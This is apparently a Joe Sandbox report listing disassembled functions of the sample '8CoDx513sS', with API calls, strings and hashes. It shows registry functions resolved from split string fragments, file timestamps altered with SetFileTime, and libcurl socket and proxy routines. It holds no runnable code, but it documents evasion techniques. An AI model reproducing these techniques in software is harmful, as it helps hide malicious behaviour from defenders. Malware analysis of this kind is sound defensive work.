RegE, xrefs: 100030AA
numK, xrefs: 100030B1
eyEx, xrefs: 1000303B
A, xrefs: 100030BF
RegC, xrefs: 10003190
penK, xrefs: 10003034
RegO, xrefs: 1000302D
Key, xrefs: 1000319E
ADVAPI32.dll, xrefs: 10003096, 10003099
lose, xrefs: 10003197

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: Close_memset_strncpy
String ID: A$A$ADVAPI32.dll$Key$RegC$RegE$RegO$eyEx$eyEx$lose$numK$penK
API String ID: 398226110-1513123901
Opcode ID: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction ID: b9de440d900c6580911a00b34db10aa084ed529467115a528b23cd71ea68bc1e
Opcode Fuzzy Hash: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction Fuzzy Hash: 4851B5B5D0122CAFDB61DF95CC85AEEBBB8FF48344F1040A9E509A6211D6749E84CF61

Function 025192D1 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252filetimeCOMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 025193C8
_memset.LIBCMT ref: 025193FC
_memset.LIBCMT ref: 02519420
_strcat_s.LIBCMT ref: 0251943B
_sprintf.LIBCMT ref: 025194BC
_sprintf.LIBCMT ref: 025194E4
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 0251951A
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 025195A3
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000010,?,00000001), ref: 025195EF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000010,?,00000001), ref: 025195FB

Strings

\, xrefs: 02519485
%s%s, xrefs: 025194B6
:, xrefs: 0251949B
text.e, xrefs: 025193DF

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: File$_memset_sprintf$CloseCreateHandleTimeWrite__fassign_strcat_s
String ID: %s%s$:$\$text.e
API String ID: 3001508280-2720340845
Opcode ID: c1176d825ab800f3f53b73604c0b20817ad2f2983ffa7fa05d5aba3d4d241bc0
Instruction ID: 3ceaff1c6f1ca9b6810c88776fa8dbc34f9809a2eb8b8bd842f94a8be7e8e2b6
Opcode Fuzzy Hash: c1176d825ab800f3f53b73604c0b20817ad2f2983ffa7fa05d5aba3d4d241bc0
Instruction Fuzzy Hash: D791AF71900629ABFB31DA24CC94BDABBB9BF48319F0401D6E618A7190D7709FC5CF99

Function 0049B736 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 215COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 0049B767
___from_strstr_to_strchr.LIBCMT ref: 0049B7FE
curl_easy_unescape.8CODX513SS(?,?,00000000,00000000,?,?,00000000,00000000), ref: 0049B86A
curl_easy_unescape.8CODX513SS(?,00000000,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0049B8A5
___from_strstr_to_strchr.LIBCMT ref: 0049B945
___from_strstr_to_strchr.LIBCMT ref: 0049B966

Strings

%255[^:@]:%255[^@], xrefs: 0049B828
socks4, xrefs: 0049B7DC
://, xrefs: 0049B755
Invalid IPv6 address format, xrefs: 0049B930
socks4a, xrefs: 0049B7BC
socks5h, xrefs: 0049B779
socks5, xrefs: 0049B79C

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___from_strstr_to_strchr$curl_easy_unescape$_strstr
String ID: %255[^:@]:%255[^@]$://$Invalid IPv6 address format$socks4$socks4a$socks5$socks5h
API String ID: 1268939826-4117706048
Opcode ID: 00124fe65c01979dbfddd73053e8d6579b3727b4d05cb8ae755d921abd836fa7
Instruction ID: 28a0764480f7c32ecde0ac02de9ee2b6ce820ff76517baf35f41d085578fa5f9
Opcode Fuzzy Hash: 00124fe65c01979dbfddd73053e8d6579b3727b4d05cb8ae755d921abd836fa7
Instruction Fuzzy Hash: E2713DB09043099AEF209B35ED86BA77FE8EB01710F14047FE549D62C1EB7C99418B9D

Function 02512D10 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111filesleepCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 02512D4F
_memset.LIBCMT ref: 02512D78
Sleep.KERNEL32(00000001), ref: 02512D98
_malloc.LIBCMT ref: 02512DD2
_memset.LIBCMT ref: 02512DFF
WriteFile.KERNEL32(?,00000000,1F400000,?,00000000), ref: 02512E17
_free.LIBCMT ref: 02512E1E
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02512E46
FlushFileBuffers.KERNEL32(?), ref: 02512E52
CloseHandle.KERNEL32(?), ref: 02512E5E

Strings

lib, xrefs: 02512D90
cef.dll, xrefs: 02512DAD

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: File$Write_memset$BuffersCloseCreateFlushHandleSleep_free_malloc
String ID: cef.dll$lib
API String ID: 1923221151-1944707463
Opcode ID: c7c9bae722f05ace4950e72fad4df7a541369c399cdeef1560220a3e48ada2d0
Instruction ID: dc6e220a1429a691b35fd7820aa39dc36d0efa0475d4815be5a0b9974ccc3db8
Opcode Fuzzy Hash: c7c9bae722f05ace4950e72fad4df7a541369c399cdeef1560220a3e48ada2d0
Instruction Fuzzy Hash: 3431C07190012CAFEB269F24CC84BEABB7AFB59314F0041E5E688A7150DBB19FC58F54

Function 0049B3F9 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 100COMMON

Download Yara Rule

APIs

curl_getenv.8CODX513SS(no_proxy,?,00000000,00000000), ref: 0049B419

Part of subcall function 004B05CB: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000104), ref: 004B0602

curl_getenv.8CODX513SS(NO_PROXY,?,00000000,00000000), ref: 0049B42A
curl_getenv.8CODX513SS(?,?,00000000,00000000), ref: 0049B47C
curl_getenv.8CODX513SS(?,?,?,00000080,?,00000000,00000000), ref: 0049B4B8
curl_getenv.8CODX513SS(all_proxy,?,00000000,00000000), ref: 0049B4D0
curl_getenv.8CODX513SS(ALL_PROXY,?,00000000,00000000), ref: 0049B4E1

Strings

NO_PROXY, xrefs: 0049B425
no_proxy, xrefs: 0049B414
_proxy, xrefs: 0049B46C
http_proxy, xrefs: 0049B48F
ALL_PROXY, xrefs: 0049B4DC
all_proxy, xrefs: 0049B4CB

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: curl_getenv$EnvironmentExpandStrings
String ID: ALL_PROXY$NO_PROXY$_proxy$all_proxy$http_proxy$no_proxy
API String ID: 3129563455-2383259138
Opcode ID: d3e0ed7d6656954e9e02cca256eb28ac2ba9bfb0b8d7e0f9c72130ffc0f8136c
Instruction ID: 58b6c16683d71d947bfdb81c2a8339766483b4586968a2a5aceeb76a6a514022
Opcode Fuzzy Hash: d3e0ed7d6656954e9e02cca256eb28ac2ba9bfb0b8d7e0f9c72130ffc0f8136c
Instruction Fuzzy Hash: 0F21F932A0061AAADF30E66569817AB77D8DF04724F10417BF984E7282DF7C9D414BE8

Function 0049DC1F Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 267networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 0049DCF7

Part of subcall function 0049DBCF: htons.WS2_32(?), ref: 0049DBFD

GetLastError.KERNEL32 ref: 0049DD30
connect.WS2_32(?,?,?), ref: 0049DE18
WSAGetLastError.WS2_32 ref: 0049DE2B

Strings

%s, xrefs: 0049DF79
Failed to connect to %s: %s, xrefs: 0049DE8F
*, xrefs: 0049DEB3
connected, xrefs: 0049DF3A
Timeout, xrefs: 0049DF5C
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0049DD41
Trying %s... , xrefs: 0049DD65

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLast$connecthtonssocket
String ID: Trying %s... $%s$*$Failed to connect to %s: %s$Timeout$connected$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 4053703131-2181660413
Opcode ID: bac841d584bca54d6412506930979b8a6aa423833b35b8c584b138c5f7c54b9c
Instruction ID: 0cd5361d12463b1eb3f8dc827a4b563bd5380d35c1c7f3642d274663bd2ec705
Opcode Fuzzy Hash: bac841d584bca54d6412506930979b8a6aa423833b35b8c584b138c5f7c54b9c
Instruction Fuzzy Hash: A0A14171E002159FDF249F258C85BAABBB9EF05314F1041BBF90DE6242DB399D818F69

Function 025128BD Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0251290C
_memset.LIBCMT ref: 0251291E
_memset.LIBCMT ref: 0251292D
_memset.LIBCMT ref: 02512B1E
_memset.LIBCMT ref: 02512C3B
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000001,00000000), ref: 02512CA4
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02512CC7
FlushFileBuffers.KERNEL32(00000000), ref: 02512CCE
CloseHandle.KERNEL32(00000000), ref: 02512CD5

Strings

<, xrefs: 025129B4

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: _memset$File$BuffersCloseCreateFlushHandleWrite
String ID: <
API String ID: 2144675991-4251816714
Opcode ID: 35b56ce232240c5ba125c630af1b4c3d7e2c83da35e680a9483d9de7ce6c068a
Instruction ID: 3bc1637391d192c1646ccee6585495c71a43e11ec4851208b78cc93129e953ac
Opcode Fuzzy Hash: 35b56ce232240c5ba125c630af1b4c3d7e2c83da35e680a9483d9de7ce6c068a
Instruction Fuzzy Hash: 42C1DD76800129BEEB219F64CC849EABBFDFB49354F04C1E6F919A2150DB319F868F54

Function 0049D753 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32(?,?,?), ref: 0049D797
WSAGetLastError.WS2_32 ref: 0049D7A1

Part of subcall function 0049DBCF: htons.WS2_32(?), ref: 0049DBFD

getsockname.WS2_32(?,?,?), ref: 0049D7DC
WSAGetLastError.WS2_32 ref: 0049D7E6
GetLastError.KERNEL32 ref: 0049D81F
GetLastError.KERNEL32 ref: 0049D858

Strings

getpeername() failed with errno %d: %s, xrefs: 0049D7B2
ssrem inet_ntop() failed with errno %d: %s, xrefs: 0049D830
ssloc inet_ntop() failed with errno %d: %s, xrefs: 0049D869
getsockname() failed with errno %d: %s, xrefs: 0049D7F7

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLast$getpeernamegetsocknamehtons
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 2526821818-670633250
Opcode ID: 7c049d98c1c99ac2dcd6cb6220f32b665bf06e3a2780864aab5110cbb6e10494
Instruction ID: 9a180994133260daa67d37ff5c6bace9167620b2a78ea6542f46920c0d4fe070
Opcode Fuzzy Hash: 7c049d98c1c99ac2dcd6cb6220f32b665bf06e3a2780864aab5110cbb6e10494
Instruction Fuzzy Hash: 713185B1901219BADB20AB61CC85FFB7F6CEF14350F0001BBF959E6101EB389D40CAA9

Function 00495FF9 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 187COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004960F0

Strings

Violate RFC 2616/10.3.3 and switch from POST to GET, xrefs: 004961F3
Violate RFC 2616/10.3.2 and switch from POST to GET, xrefs: 00496212
HEAD, xrefs: 004961C2, 004961CA
%15[^?&/:]://%c, xrefs: 004960B6
Maximum (%ld) redirects followed, xrefs: 00496035
Issue another request to this URL: '%s', xrefs: 0049616F
GET, xrefs: 004961B7
Disables POST, goes with %s, xrefs: 004961CB

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: %15[^?&/:]://%c$Disables POST, goes with %s$GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Violate RFC 2616/10.3.2 and switch from POST to GET$Violate RFC 2616/10.3.3 and switch from POST to GET
API String ID: 601868998-1430733070
Opcode ID: 5ecd5935e84559a07bae5eb2839352d0bc88258523ed7e0c9b39628af68e8985
Instruction ID: 3d2f841b5913243d899797b7a5dc9aab4f29928edc083e25a905f8183cbbdee3
Opcode Fuzzy Hash: 5ecd5935e84559a07bae5eb2839352d0bc88258523ed7e0c9b39628af68e8985
Instruction Fuzzy Hash: 8F5104B0900704DBCF309F7598C9AAB7FE4EB05304F11493FE65AA2281DB79A941CA5D

Function 0251356E Relevance: 15.2, APIs: 10, Instructions: 151comCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02513580
CoInitialize.OLE32(00000000), ref: 02513587
CoCreateInstance.COMBASE(1001CAB8,00000000,00000001,1001CAA8,?), ref: 025135A9
SafeArrayAccessData.OLEAUT32(?,?), ref: 02513667
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0251367A
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02513689

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ArraySafe$Bound$AccessCreateDataInitInitializeInstanceVariant
String ID:
API String ID: 1776067534-0
Opcode ID: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction ID: 6a225a2cf7f1507e5a774397ad2d9be697a4b8b3a6ac23e6b1c322f754e7c765
Opcode Fuzzy Hash: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction Fuzzy Hash: 73514C71A00619BFEB01DFA4CD98AAEBB79FF49704F104499FA11EB220D771DA45CB90

Function 1000356A Relevance: 15.2, APIs: 10, Instructions: 151comCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 1000357C
CoInitialize.OLE32(00000000), ref: 10003583
CoCreateInstance.COMBASE(1001CAB8,00000000,00000001,1001CAA8,?), ref: 100035A5
SafeArrayAccessData.OLEAUT32(?,?), ref: 10003663
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 10003676
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 10003685

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ArraySafe$Bound$AccessCreateDataInitInitializeInstanceVariant
String ID:
API String ID: 1776067534-0
Opcode ID: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction ID: 6a08fc82bc3730ba37a0e2c4be62a39793870260165c286fe321372d819fc844
Opcode Fuzzy Hash: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction Fuzzy Hash: CE515D71A00619BFEB02DFA4CC88AAFBBBDEF45344F108459F901EB224D772DA058B50

Function 0049BAAC Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 171COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0049BB00
___swprintf_l.LIBCMT(?,0000000C,;type=%c,00000049,?,00000000,00000000,?,?,?,?,?,0049B267,?,00000000), ref: 0049BBA3
curl_maprintf.8CODX513SS(%s://%s%s%s:%hu%s%s%s,?,00408B28,?,004072A8,?,0040BE90,68000002,?,?,00000000,00000000), ref: 0049BBFF

Strings

], xrefs: 0049BAE6
Port number too large: %lu, xrefs: 0049BC7A
%s://%s%s%s:%hu%s%s%s, xrefs: 0049BBFA
[%*45[0123456789abcdefABCDEF:.]%c, xrefs: 0049BAC9
;type=%c, xrefs: 0049BB98

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___from_strstr_to_strchr___swprintf_lcurl_maprintf
String ID: %s://%s%s%s:%hu%s%s%s$;type=%c$Port number too large: %lu$[%*45[0123456789abcdefABCDEF:.]%c$]
API String ID: 609472534-1368449230
Opcode ID: 435fc194d37f21bef3318c7659bb5d4a3ba0d082bb9697b924997514e5c4e423
Instruction ID: 908df05e24c15254ae2c2f1855e219ed1a96f4255ae4d10cbe8105536aa97ca1
Opcode Fuzzy Hash: 435fc194d37f21bef3318c7659bb5d4a3ba0d082bb9697b924997514e5c4e423
Instruction Fuzzy Hash: 9851E671A04305AFDF258B24E942BB77BA4FF44304F14847FE949DB282DB796841CBA9

Function 004D56B0 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004CAE57), ref: 004D56D3

Strings

log, xrefs: 004D5779, 004D5785
acos, xrefs: 004D584B
log10, xrefs: 004D571D, 004D576D
asin, xrefs: 004D583F
pow, xrefs: 004D57B7, 004D5863, 004D5876
sqrt, xrefs: 004D5857
exp, xrefs: 004D5798, 004D57FA

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 51ab4d67df008701d3dc0af68d3dbd49f8fd3a1d0ec45a4c87a5c5891daa9a0d
Instruction ID: 6d8658d04be5f509e0e9b43b25fe1b53325bca8496ffb4e55fbce2d2d831e353
Opcode Fuzzy Hash: 51ab4d67df008701d3dc0af68d3dbd49f8fd3a1d0ec45a4c87a5c5891daa9a0d
Instruction Fuzzy Hash: 2E515C7090090ACBCF14EFA8E9581ED7BB4FB49300F644197E491AA364CF798D25EB2D

Function 10002F16 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 10002F6E
GetProcAddress.KERNEL32(00000000), ref: 10002F75

Strings

PI32, xrefs: 10002F45
etVa, xrefs: 10002F5D
ADVA, xrefs: 10002F3E
lueA, xrefs: 10002F64
.dll, xrefs: 10002F4C
RegG, xrefs: 10002F56

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$ADVA$PI32$RegG$etVa$lueA
API String ID: 2574300362-1882813265
Opcode ID: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction ID: a1d679e7b0377026ba9a5ee53e10a3854d90966ec9acb8aed7208cbf42c39825
Opcode Fuzzy Hash: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction Fuzzy Hash: 16211D7190125EAFEB00DFA4D985AEEBBBCEF09284F204069E501B7241D7709E45CB74

Function 0251AAC4 Relevance: 13.6, APIs: 9, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(02512558,100200B0,?,00000000,00000000,?,025116AA,?,00000004,02512558,?), ref: 0251AB0B
MultiByteToWideChar.KERNEL32(00000000,00000000,02512558,00000001,00000000,00000000,?,025116AA,?,00000004,02512558,?), ref: 0251AB21
GetLastError.KERNEL32(?,025116AA,?,00000004,02512558,?), ref: 0251AB30
MultiByteToWideChar.KERNEL32(00000000,00000000,02512558,00000001,00000000,00000000,?,?,025116AA,?,00000004,02512558), ref: 0251ABBF
_free.LIBCMT ref: 0251ABD2
GetLastError.KERNEL32(?,?,025116AA,?,00000004,02512558), ref: 0251ABDA
SysAllocString.OLEAUT32(00000000), ref: 0251ABF5
_free.LIBCMT ref: 0251AC06

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_free$AllocStringlstrlen
String ID:
API String ID: 2233872252-0
Opcode ID: 27a5739dbcd6129f17e9fabe8b63540b34abcb26a4f842c2ebb801ef8b552392
Instruction ID: 87bee9e5a44b71fbd3c417ee66158b6d36da2301834d2b9e4b53184c7d8d9810
Opcode Fuzzy Hash: 27a5739dbcd6129f17e9fabe8b63540b34abcb26a4f842c2ebb801ef8b552392
Instruction Fuzzy Hash: 7141F6B1D01259ABFB219F74CD45BAEBBBAFB48764F104129F805E7280D7789900CB99

Function 1000AAC0 Relevance: 13.6, APIs: 9, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(10002554,100200B0,?,00000000,00000000,?,100016A6,?,00000004,10002554,?), ref: 1000AB07
MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,100016A6,?,00000004,10002554,?), ref: 1000AB1D
GetLastError.KERNEL32(?,100016A6,?,00000004,10002554,?), ref: 1000AB2C
MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,?,100016A6,?,00000004,10002554), ref: 1000ABBB
_free.LIBCMT ref: 1000ABCE
GetLastError.KERNEL32(?,?,100016A6,?,00000004,10002554), ref: 1000ABD6
SysAllocString.OLEAUT32(00000000), ref: 1000ABF1
_free.LIBCMT ref: 1000AC02

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_free$AllocStringlstrlen
String ID:
API String ID: 2233872252-0
Opcode ID: 59ed788a829bb9c1f4329f4ed6452985138a507127c0ce1c65aca255113b0fe0
Instruction ID: 9e25bd70ab071cca115f9195e7d2400ab800d9944f2cda235c947bdfccf5c639
Opcode Fuzzy Hash: 59ed788a829bb9c1f4329f4ed6452985138a507127c0ce1c65aca255113b0fe0
Instruction Fuzzy Hash: E541F671D00315ABF710DF648C45F9F7BA9EB4A7E0F114229F905E3286D774EA8087A5

Function 0049D431 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 161COMMON

Download Yara Rule

Strings

Connection failed, xrefs: 0049D58E
%s, xrefs: 0049D57B
Failed connect to %s:%ld; %s, xrefs: 0049D5E5
After %ldms connect time, move on!, xrefs: 0049D4E6
Connection time-out, xrefs: 0049D491

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID:
String ID: %s$After %ldms connect time, move on!$Connection failed$Connection time-out$Failed connect to %s:%ld; %s
API String ID: 0-921244965
Opcode ID: 26e8e022bd88425eb1b0eaae74e5968bdeb3583a39252940afc0cc3532805050
Instruction ID: 0a8c7e5eaf06774074bdde43c5a9152d5542803cbee3a87ccc0427b7c5664158
Opcode Fuzzy Hash: 26e8e022bd88425eb1b0eaae74e5968bdeb3583a39252940afc0cc3532805050
Instruction Fuzzy Hash: 7251A571900205BFDF11EF65CC81AAE7FA9EF05314F14447BFC08DB242EA399A518B99

Function 004A4DBE Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 115COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004A4DD8

Strings

Content-Length, xrefs: 004A4E65
Connection, xrefs: 004A4E82
